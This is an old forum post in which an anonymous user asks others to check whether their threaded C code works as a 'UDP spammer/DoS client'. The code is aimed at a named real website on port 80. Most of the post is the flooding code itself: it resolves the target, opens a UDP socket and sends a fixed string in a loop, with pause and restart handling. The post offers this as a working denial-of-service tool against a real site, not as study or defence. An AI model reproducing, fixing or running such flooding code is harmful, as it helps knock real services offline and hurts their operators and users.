Name: Anonymous 2010-09-09 0:42
Hey /prog/, I'm fairly new to network programming, so I was wondering if this block of code did its job as a UDP spammer/DoS client. HOST_NAME is by default set to "anontalk.se", and PORT is set to "80".
You may guess from this but I am also fairly new at threaded programming.
You may guess from this but I am also fairly new at threaded programming.
memset (&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_DGRAM;
if ((status = getaddrinfo (HOST_NAME, PORT, &hints, &server_info))
!= 0)
{
MESGS[thread_id] = "Error obtaining address information.";
return NULL;
}
MESGS[thread_id] = "Obtained address information.";
for (scroller = server_info; scroller != NULL; scroller = scroller->ai_next)
{
if ((sockfd = socket (scroller->ai_family, scroller->ai_socktype,
scroller->ai_protocol)) == -1)
{
MESGS[thread_id] = "Error creating a socket.";
continue;
}
break;
}
if (scroller == NULL)
{
MESGS[thread_id] = "Failed to bind socket.";
return NULL;
}
do
{
MESGS[thread_id] = "Running...";
if ((msg_size = sendto (sockfd, UDP_STR, strlen (UDP_STR), 0,
scroller->ai_addr, scroller->ai_addrlen)) == -1)
{
MESGS[thread_id] = "Error sending message.";
return NULL;
}
if (MAIN_SIG == PAUSE)
{
MESGS[thread_id] = "Suspending...";
while (MAIN_SIG == PAUSE);
}
for (start = update = time (NULL); update - start < wtime; update = time (NULL))
;
}
while (MAIN_SIG != DONE && MAIN_SIG != RESTART);
close (sockfd);